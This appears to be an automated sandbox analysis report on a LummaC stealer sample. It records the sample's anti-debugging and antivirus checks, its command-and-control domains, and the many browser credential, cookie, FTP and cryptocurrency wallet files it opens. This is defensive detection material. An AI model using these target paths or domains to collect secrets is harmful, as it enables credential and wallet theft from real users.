Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Active_Setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_3_008817DF rdtsc

0_3_008817DF

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00A6C6C0 IsDebuggerPresent,RaiseException,

0_2_00A6C6C0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Active_Setup.exe	String found in binary or memory: wholersorie.shop
Source: Active_Setup.exe	String found in binary or memory: abruptyopsn.shop
Source: Active_Setup.exe	String found in binary or memory: tirepublicerj.shop
Source: Active_Setup.exe	String found in binary or memory: framekgirus.shop
Source: Active_Setup.exe	String found in binary or memory: rabidcowse.shop
Source: Active_Setup.exe	String found in binary or memory: noisycuttej.shop
Source: Active_Setup.exe	String found in binary or memory: cloudewahsj.shop
Source: Active_Setup.exe	String found in binary or memory: arisealert.click
Source: Active_Setup.exe	String found in binary or memory: nearycrepso.shop

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: GetUserDefaultUILanguage,GetLocaleInfoW,

0_2_009CFA34

Source: C:\Users\user\Desktop\Active_Setup.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_009EC494 GetVersionExW,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegCloseKey,

0_2_009EC494

Source: C:\Users\user\Desktop\Active_Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Active_Setup.exe, 00000000.00000003.1484141177.0000000003BBC000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482782490.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482827375.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Active_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Active_Setup.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Active_Setup.exe	String found in binary or memory: Wallets/Electrum
Source: Active_Setup.exe	String found in binary or memory: Wallets/ElectronCash
Source: Active_Setup.exe	String found in binary or memory: window-state.json
Source: Active_Setup.exe, 00000000.00000002.3686829759.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmh
Source: Active_Setup.exe, 00000000.00000003.1470757465.000000000086C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Active_Setup.exe, 00000000.00000003.1482782490.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: Active_Setup.exe	String found in binary or memory: %appdata%\Ethereum
Source: Active_Setup.exe, 00000000.00000003.1470593836.00000000008CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Active_Setup.exe, 00000000.00000003.1470955943.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
